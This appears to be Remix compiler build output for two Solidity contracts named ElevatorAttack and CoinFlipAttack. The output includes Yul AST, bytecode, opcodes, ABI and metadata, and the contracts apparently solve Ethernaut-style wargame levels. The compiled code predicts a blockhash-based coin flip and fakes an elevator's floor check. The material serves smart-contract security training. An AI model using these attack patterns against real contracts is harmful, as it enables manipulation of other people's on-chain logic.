"src": "1352:32:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1377:5:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "1370:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1370:13:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "1363:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1363:21:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "1352:7:1"
}
]
}
]
},
"name": "cleanup_t_bool",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1324:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "1334:7:1",
"type": ""
}
],
"src": "1300:90:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1441:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1451:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "1462:5:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "1451:7:1"
}
]
}
]
},
"name": "cleanup_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1423:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "1433:7:1",
"type": ""
}
],
"src": "1396:77:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1548:53:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1558:37:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1589:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "1571:17:1"
},
"nodeType": "YulFunctionCall",
"src": "1571:24:1"
},
"variableNames": [
{
"name": "converted",
"nodeType": "YulIdentifier",
"src": "1558:9:1"
}
]
}
]
},
"name": "convert_t_rational_42_by_1_to_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1528:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "converted",
"nodeType": "YulTypedName",
"src": "1538:9:1",
"type": ""
}
],
"src": "1479:122:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1696:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1713:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1716:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1706:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1706:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "1706:12:1"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulFunctionDefinition",
"src": "1607:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1819:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1836:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1839:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1829:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1829:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "1829:12:1"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulFunctionDefinition",
"src": "1730:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1896:79:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "1953:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1962:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1965:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1955:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1955:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "1955:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1919:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1944:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "1926:17:1"
},
"nodeType": "YulFunctionCall",
"src": "1926:24:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "1916:2:1"
},
"nodeType": "YulFunctionCall",
"src": "1916:35:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "1909:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1909:43:1"
},
"nodeType": "YulIf",
"src": "1906:63:1"
}
]
},
"name": "validator_revert_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1889:5:1",
"type": ""
}
],
"src": "1853:122:1"
}
]
},
"contents": "{\n\n function abi_decode_t_uint256(offset, end) -> value {\n value := calldataload(offset)\n validator_revert_t_uint256(value)\n }\n\n function abi_decode_tuple_t_uint256(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_uint256(add(headStart, offset), dataEnd)\n }\n\n }\n\n function abi_encode_t_bool_to_t_bool_fromStack(value, pos) {\n mstore(pos, cleanup_t_bool(value))\n }\n\n function abi_encode_t_rational_42_by_1_to_t_uint256_fromStack(value, pos) {\n mstore(pos, convert_t_rational_42_by_1_to_t_uint256(value))\n }\n\n function abi_encode_tuple_t_bool__to_t_bool__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_bool_to_t_bool_fromStack(value0, add(headStart, 0))\n\n }\n\n function abi_encode_tuple_t_rational_42_by_1__to_t_uint256__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_rational_42_by_1_to_t_uint256_fromStack(value0, add(headStart, 0))\n\n }\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function cleanup_t_bool(value) -> cleaned {\n cleaned := iszero(iszero(value))\n }\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n function convert_t_rational_42_by_1_to_t_uint256(value) -> converted {\n converted := cleanup_t_uint256(value)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function validator_revert_t_uint256(value) {\n if iszero(eq(value, cleanup_t_uint256(value))) { revert(0, 0) }\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "608060405234801561001057600080fd5b50600436106100365760003560e01c80635f9a4bca1461003b5780639e5faafc1461006b575b600080fd5b61005560048036038101906100509190610155565b610075565b60405161006291906101a0565b60405180910390f35b6100736100b8565b005b60008060008054906101000a900460ff16905060008054906101000a900460ff16156000806101000a81548160ff02191690831515021790555080915050919050565b600073c29a20b44d3cf822268e0b847d4863df37fb5e7f90508073ffffffffffffffffffffffffffffffffffffffff1663ed9a7134602a6040518263ffffffff1660e01b815260040161010b91906101bb565b600060405180830381600087803b15801561012557600080fd5b505af1158015610139573d6000803e3d6000fd5b5050505050565b60008135905061014f81610203565b92915050565b60006020828403121561016b5761016a6101fe565b5b600061017984828501610140565b91505092915050565b61018b816101d6565b82525050565b61019a816101ec565b82525050565b60006020820190506101b56000830184610182565b92915050565b60006020820190506101d06000830184610191565b92915050565b60008115159050919050565b6000819050919050565b60006101f7826101e2565b9050919050565b600080fd5b61020c816101e2565b811461021757600080fd5b5056fea2646970667358221220e622f8f0bf24a32966f09d180e9de2eaad07e24a4b60f9835b9bda884f000b2e64736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x36 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x5F9A4BCA EQ PUSH2 0x3B JUMPI DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0x6B JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x55 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x50 SWAP2 SWAP1 PUSH2 0x155 JUMP JUMPDEST PUSH2 0x75 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x62 SWAP2 SWAP1 PUSH2 0x1A0 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x73 PUSH2 0xB8 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH1 0xFF AND SWAP1 POP PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH1 0xFF AND ISZERO PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH1 0xFF MUL NOT AND SWAP1 DUP4 ISZERO ISZERO MUL OR SWAP1 SSTORE POP DUP1 SWAP2 POP POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xC29A20B44D3CF822268E0B847D4863DF37FB5E7F SWAP1 POP DUP1 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xED9A7134 PUSH1 0x2A PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x10B SWAP2 SWAP1 PUSH2 0x1BB JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x125 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x139 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x14F DUP2 PUSH2 0x203 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x16B JUMPI PUSH2 0x16A PUSH2 0x1FE JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x179 DUP5 DUP3 DUP6 ADD PUSH2 0x140 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x18B DUP2 PUSH2 0x1D6 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH2 0x19A DUP2 PUSH2 0x1EC JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x1B5 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x182 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x1D0 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x191 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 ISZERO ISZERO SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x1F7 DUP3 PUSH2 0x1E2 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x20C DUP2 PUSH2 0x1E2 JUMP JUMPDEST DUP2 EQ PUSH2 0x217 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xE6 0x22 0xF8 CREATE 0xBF 0x24 LOG3 0x29 PUSH7 0xF09D180E9DE2EA 0xAD SMOD 0xE2 0x4A 0x4B PUSH1 0xF9 DUP4 JUMPDEST SWAP12 0xDA DUP9 0x4F STOP SIGNEXTEND 0x2E PUSH5 0x736F6C6343 STOP ADDMOD SMOD STOP CALLER ",
"sourceMap": "338:352:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;389:150;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;547:140;;;:::i;:::-;;389:150;441:4;458:12;473:6;;;;;;;;;;458:21;;500:6;;;;;;;;;;499:7;490:6;;:16;;;;;;;;;;;;;;;;;;524:7;517:14;;;389:150;;;:::o;547:140::-;583:15;610:42;583:70;;664:6;:11;;;676:2;664:15;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;572:115;547:140::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:329::-;211:6;260:2;248:9;239:7;235:23;231:32;228:119;;;266:79;;:::i;:::-;228:119;386:1;411:53;456:7;447:6;436:9;432:22;411:53;:::i;:::-;401:63;;357:117;152:329;;;;:::o;487:109::-;568:21;583:5;568:21;:::i;:::-;563:3;556:34;487:109;;:::o;602:149::-;698:46;738:5;698:46;:::i;:::-;693:3;686:59;602:149;;:::o;757:210::-;844:4;882:2;871:9;867:18;859:26;;895:65;957:1;946:9;942:17;933:6;895:65;:::i;:::-;757:210;;;;:::o;973:240::-;1075:4;1113:2;1102:9;1098:18;1090:26;;1126:80;1203:1;1192:9;1188:17;1179:6;1126:80;:::i;:::-;973:240;;;;:::o;1300:90::-;1334:7;1377:5;1370:13;1363:21;1352:32;;1300:90;;;:::o;1396:77::-;1433:7;1462:5;1451:16;;1396:77;;;:::o;1479:122::-;1538:9;1571:24;1589:5;1571:24;:::i;:::-;1558:37;;1479:122;;;:::o;1730:117::-;1839:1;1836;1829:12;1853:122;1926:24;1944:5;1926:24;:::i;:::-;1919:5;1916:35;1906:63;;1965:1;1962;1955:12;1906:63;1853:122;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "118400",
"executionCost": "24432",
"totalCost": "142832"
},
"external": {
"attack()": "infinite",
"isLastFloor(uint256)": "29135"
}
},
"methodIdentifiers": {
"attack()": "9e5faafc",
"isLastFloor(uint256)": "5f9a4bca"
}
},
"abi": [
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_floor",
"type": "uint256"
}
],
"name": "isLastFloor",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.7+commit.e28d00a7"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_floor",
"type": "uint256"
}
],
"name": "isLastFloor",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/ElevatorAttack.sol": "Building"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/ElevatorAttack.sol": {
"keccak256": "0xc2b7a1959aed4f00be4ca4713db5b460b2e9627c73b882f7f11aa9b5c487a28c",
"license": "MIT",
"urls": [
"bzz-raw://79285cfbe1ba7b7624c3494c4e3eb3ef18f1f7d93d1869b02661fd571f6884ac",
"dweb:/ipfs/QmdYtqcPNikRyG3y16SKKSbbBQ9zUHtQ8aat5HYgPoPXHh"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"deployedBytecode": {
"functionDebugData": {},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"gasEstimates": null,
"methodIdentifiers": {
"flip(bool)": "1d263f67"
}
},
"abi": [
{
"inputs": [
{
"internalType": "bool",
"name": "_guess",
"type": "bool"
}
],
"name": "flip",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.7+commit.e28d00a7"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [
{
"internalType": "bool",
"name": "_guess",
"type": "bool"
}
],
"name": "flip",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/CoinFlipAttack.sol": "CoinFlip"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/CoinFlipAttack.sol": {
"keccak256": "0x397f32059a96b9871800fa150fa8d069e6886f2de89d7f8ec5b2e8ba50fe7f5a",
"urls": [
"bzz-raw://4992509da84023c554ceb5898cb7f18711873b5bc12d0e931711114e7219d9cb",
"dweb:/ipfs/QmS7W4X6BmEwf45ASxzfYpQmuPwJsJQBzPaofP57pcueu7"
]
},
"https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol": {
"keccak256": "0xa2f576be637946f767aa56601c26d717f48a0aff44f82e46f13807eea1009a21",
"license": "MIT",
"urls": [
"bzz-raw://973868f808e88e21a1a0a01d4839314515ee337ad096286c88e41b74dcc11fc2",
"dweb:/ipfs/QmfYuZxRfx2J2xdk4EXN7jKg4bUYEMTaYk9BAw9Bqn4o2Y"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {
"@_26": {
"entryPoint": null,
"id": 26,
"parameterSlots": 0,
"returnSlots": 0
}
},
"generatedSources": [],
"linkReferences": {},
"object": "608060405273b871c66d5fdc7f6cd7a45e5b18071e850429338b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f800000000000000000000000000000000000000000000000000000000000000060015534801561008857600080fd5b506102f9806100986000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80639e5faafc14610030575b600080fd5b61003861003a565b005b600061005060014361013690919063ffffffff16565b4060001c9050600061006d6001548361014c90919063ffffffff16565b9050600060018214610080576000610083565b60015b905060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631d263f67826040518263ffffffff1660e01b81526004016100de91906101b3565b602060405180830381600087803b1580156100f857600080fd5b505af115801561010c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101309190610177565b50505050565b6000818361014491906101ff565b905092915050565b6000818361015a91906101ce565b905092915050565b600081519050610171816102ac565b92915050565b60006020828403121561018d5761018c6102a7565b5b600061019b84828501610162565b91505092915050565b6101ad81610233565b82525050565b60006020820190506101c860008301846101a4565b92915050565b60006101d98261023f565b91506101e48361023f565b9250826101f4576101f3610278565b5b828204905092915050565b600061020a8261023f565b91506102158361023f565b92508282101561022857610227610249565b5b828203905092915050565b60008115159050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b6102b581610233565b81146102c057600080fd5b5056fea26469706673582212202b32c9d68953c8371c7f396f8acd24eba832a699825d41de270a2a8a3cac4ad664736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH20 0xB871C66D5FDC7F6CD7A45E5B18071E850429338B PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP PUSH32 0x8000000000000000000000000000000000000000000000000000000000000000 PUSH1 0x1 SSTORE CALLVALUE DUP1 ISZERO PUSH2 0x88 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x2F9 DUP1 PUSH2 0x98 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x2B JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0x30 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x38 PUSH2 0x3A JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 PUSH2 0x50 PUSH1 0x1 NUMBER PUSH2 0x136 SWAP1 SWAP2 SWAP1 PUSH4 0xFFFFFFFF AND JUMP JUMPDEST BLOCKHASH PUSH1 0x0 SHR SWAP1 POP PUSH1 0x0 PUSH2 0x6D PUSH1 0x1 SLOAD DUP4 PUSH2 0x14C SWAP1 SWAP2 SWAP1 PUSH4 0xFFFFFFFF AND JUMP JUMPDEST SWAP1 POP PUSH1 0x0 PUSH1 0x1 DUP3 EQ PUSH2 0x80 JUMPI PUSH1 0x0 PUSH2 0x83 JUMP JUMPDEST PUSH1 0x1 JUMPDEST SWAP1 POP PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x1D263F67 DUP3 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0xDE SWAP2 SWAP1 PUSH2 0x1B3 JUMP JUMPDEST PUSH1 0x20 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0xF8 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x10C JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP PUSH1 0x40 MLOAD RETURNDATASIZE PUSH1 0x1F NOT PUSH1 0x1F DUP3 ADD AND DUP3 ADD DUP1 PUSH1 0x40 MSTORE POP DUP2 ADD SWAP1 PUSH2 0x130 SWAP2 SWAP1 PUSH2 0x177 JUMP JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 DUP4 PUSH2 0x144 SWAP2 SWAP1 PUSH2 0x1FF JUMP JUMPDEST SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 DUP4 PUSH2 0x15A SWAP2 SWAP1 PUSH2 0x1CE JUMP JUMPDEST SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP PUSH2 0x171 DUP2 PUSH2 0x2AC JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x18D JUMPI PUSH2 0x18C PUSH2 0x2A7 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x19B DUP5 DUP3 DUP6 ADD PUSH2 0x162 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x1AD DUP2 PUSH2 0x233 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x1C8 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x1A4 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x1D9 DUP3 PUSH2 0x23F JUMP JUMPDEST SWAP2 POP PUSH2 0x1E4 DUP4 PUSH2 0x23F JUMP JUMPDEST SWAP3 POP DUP3 PUSH2 0x1F4 JUMPI PUSH2 0x1F3 PUSH2 0x278 JUMP JUMPDEST JUMPDEST DUP3 DUP3 DIV SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x20A DUP3 PUSH2 0x23F JUMP JUMPDEST SWAP2 POP PUSH2 0x215 DUP4 PUSH2 0x23F JUMP JUMPDEST SWAP3 POP DUP3 DUP3 LT ISZERO PUSH2 0x228 JUMPI PUSH2 0x227 PUSH2 0x249 JUMP JUMPDEST JUMPDEST DUP3 DUP3 SUB SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 ISZERO ISZERO SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x11 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x12 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x2B5 DUP2 PUSH2 0x233 JUMP JUMPDEST DUP2 EQ PUSH2 0x2C0 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0x2B ORIGIN 0xC9 0xD6 DUP10 MSTORE8 0xC8 CALLDATACOPY SHR PUSH32 0x396F8ACD24EBA832A699825D41DE270A2A8A3CAC4AD664736F6C634300080700 CALLER ",
"sourceMap": "239:516:0:-:0;;;332:42;305:70;;;;;;;;;;;;;;;;;;;;401:77;384:94;;487:22;;;;;;;;;;239:516;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@attack_65": {
"entryPoint": 58,
"id": 65,
"parameterSlots": 0,
"returnSlots": 0
},
"@div_287": {
"entryPoint": 332,
"id": 287,
"parameterSlots": 2,
"returnSlots": 1
},
"@sub_257": {
"entryPoint": 310,
"id": 257,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_t_bool_fromMemory": {
"entryPoint": 354,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_bool_fromMemory": {
"entryPoint": 375,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_t_bool_to_t_bool_fromStack": {
"entryPoint": 420,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
